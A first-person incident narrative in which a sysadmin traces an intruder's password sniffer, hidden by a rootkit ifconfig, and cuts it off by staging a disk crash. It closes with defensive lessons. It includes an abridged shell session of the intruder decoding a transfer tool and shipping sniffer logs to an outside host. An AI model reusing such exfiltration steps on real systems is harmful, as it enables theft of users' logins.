Cracked
Part 4
The Sniffer
This is the fourth part of the story of a community network that was
cracked and what was done to recover from it. The first
part Cracked! Part1:
Denial and truth details the report that leads to the discovery
that the community network was indeed cracked and some of the initial
reactions. The second article Cracked! Part 2: Watching and
Waiting talks about how they learned more about the cracker
and what they did next. The third Cracked! Part 3: Hunting
the hunter talks about some of the efforts made to track down the
cracker and some surprises. This article tells how they found the
sniffer that the cracker was running on their network and what they did
next. Future articles detail how they rebuilt the system and their
conversations with the cracker on IRC.
I reviewed my sniffer logs and found that the cracker has logged into an
account that I had not seen him use before. Once connected he used
a backdoor in pine to escape from the menuing software and run a
korn shell. He then changed his directory to a third user's home
directory that had never had a connection to the cracker and then into
a directory named ... (three dots). Inside that directory he did a
ls -l showing a file owned by root that was around 800
MB which he compressed down to about 300 MB using gzip.
He then transfered the file transfer tool that we had seen him use a
few times to his shell with something like the following:
$ cat >tran
begin 750
tran.gz*M\'XL("C;P"56\'UL4]<5O[9?@@L!\'`AM-ACUAM.%?KA.1[.$EI40*M"+......\
..
$ uudecode tran
$ gzip -df tran.gz
$ tran file.tgz hostname
$ rm f file.tgz
$ ls -l
So the mystery was, what is the file that he transfered with his
transfer tool? I could
see from our sniffer log that the file had been recreated and continued to
grow after he had gziped it. He was running some software as
root that was writing to this file from one of our machines!
The sniffer log that had recorded the crackers actions had been from
the previous night and I was not that worried about him watching us as
I had no indication that he was aware that we had spotted him.
I logged into one of our boxes that he normally did not log onto and
and looked at the file. The file command told me that it was a
data file. I looked at it with the string command and it seemed to be
just random characters. Though as the success of the compression
shows it could not have been a true random file. This made me decide
that it was just scrambled. Based on the group that owned the
file I could tell that it was being created on our Sun box.
I logged into the Sun box and started poking around. I had begun to
suspect that what I had found was a sniffer that the cracker was
running to capture logins and passwords on our system and on
other systems that our users connected to. Running a utility to check
the network card showed that it was in promiscuous mode. The ifconfig
utility reported that it was not and this told me that he had replaced the
system ifconfig command with a rootkit version that lied to us about
the promiscuous status of our network interface. So he was running a
sniffer on our system.
This changed a lot of things and forced us to make some decisions more
quickly than we wanted to. We still were in no shape to recover if he
decided to trash
the system and were not in any shape to get him off the system and
make sure that he could not crack us again or use a backdoor.
We could not just continue to watch him because what he was doing
placed us in the position of helping him to crack other systems.
Any account even just a regular user account can be a valuable thing to a
cracker. Many exploits require you to have an account on the
machine. Some you can just use over the network but they tend to get
more publicity and are fixed on far more machines then other
exploits. Some SysAdmins feel that they do not have a lot to worry
about "their" users and that all the system needs to be protected from
is "outside" cracking attempts. This can be a dangerous assumption.
We had thousands of logins each day from a large selection of places
all over the world. Many of these users then connected to other
systems using telnet or FTP.
Each time one of our users connected to a system somewhere else the
cracker had a new door that he could open. A new system that he could
crack or just use to store things. To run his port redirector all he
needed was a regular user account on a machine and then he had a new
system to cover his tracks with.
It was one thing to be cracked. It was one thing to watch him login
to other machines that he had cracked. But it was something else to be
actively helping him to gather logins to other systems. We could not
let him continue if we could do anything about it.
We seemed to be stuck. We could not get rid of him and we could not
let him continue with running the sniffer. We decided to do an
experiment. I logged into the Sun and shut it down. We then posted a
system message that said that the hard drive on the Sun had crashed
and we were going to have to rebuild it. Our plan was that if he
brought up a sniffer on a different machine we could "fix" the Sun,
but if he did not then we had stopped him from using a sniffer on our
network for the present. This we hoped would give us the time to set
a plan in motion to lock him out.
A few days later he logs in and tries to transfer his sniffer logs
again, but soon notices that the logs have stopped growing. He pokes
about for a while trying to login to the Sun before he apparently
notices the system message that it has had a hard drive crash.
He then logs into one of our Alphas and uses FTP to fetch a sniffer.
He works for a long time trying to compile it but has no success as it
was written for a different architecture and the compiles fail. He
stops working on the sniffer and spends more than an hour reading man
pages about programming the
network interfaces. He logs off and as far as we can tell over the
next few weeks does not seem to spend any more effort on installing a
sniffer on the Alpha or any other of our machines.
What are some of the lessons learned from this series of events?
- You should not trust your network unless their is some reason for
you to know that it is secure. The first thing I learned is how easy
it is for someone to be sniffing
your connection. Before this I would login as root using telnet and
never think anything of it. After this I always keep in mind what
networks my packets are going across. Running a sniffer can be one of
the easiest ways for a cracker to get an account on your system or if
you are foolish enough to login as root over a compromised or untrusted
network give him root access to your system. You should keep in
mind that any PC or network jack can be turned into a sniffer in
minutes. If your
packets cross a computer lab or a network of user workstations then
you would be crazy to treat it as anything but an untrusted network.
- You should not trust your users. After
all they may not be your users. Your security posture should be that
you fix every hole and exploit you can so that even if an account is
compromised you can work to prevent a cracker from leveraging this to
a root compromise.
One thing that I am in favor of is to minimize
what can be exploited. Most SysAdmins that I know already do this on
their network services. You can also do this with your applications.
For an example on a Sun E10k that I run we do not use the printing
system. ie. lpd lpr etc. So I went through and turned off the set
user and group bits on all the printing applications. When a few
weeks ago a local
exploit came out for one of the programs in the printing system under
Solaris we were not vulnerable.
In the area of having a system that is hard to crack I have begun to
swing towards Open-BSD as a platform to use
when you have users log ins. It can be one thing to turn off all your
services but the web server and secure shell on a machine and just
keep everyone at bay and can be quite another to allow the world to
login and still keep things tight. A read of some bugtraq statistics
shows a huge difference between Open-BSD and Linux or Solaris in the
number of security problems.
- It can be very hard to be a good net citizen. If you do not
keep your machine locked down it can quickly turn into a platform for
attacking other machines all over the world. In the new age of
distributed denial of service attacks this can be even worse than it
was back then. Crackers today can actually use accounts on thousands
of machines.
As an ending note the Sun workstation that was turned off for a
"hardware failure" to get the sniffer off of it was never turned back
on. The effort required to reinstall it and bring it back on line was
never worth it. Some times when the cracker is done, you don't come
back up.
| 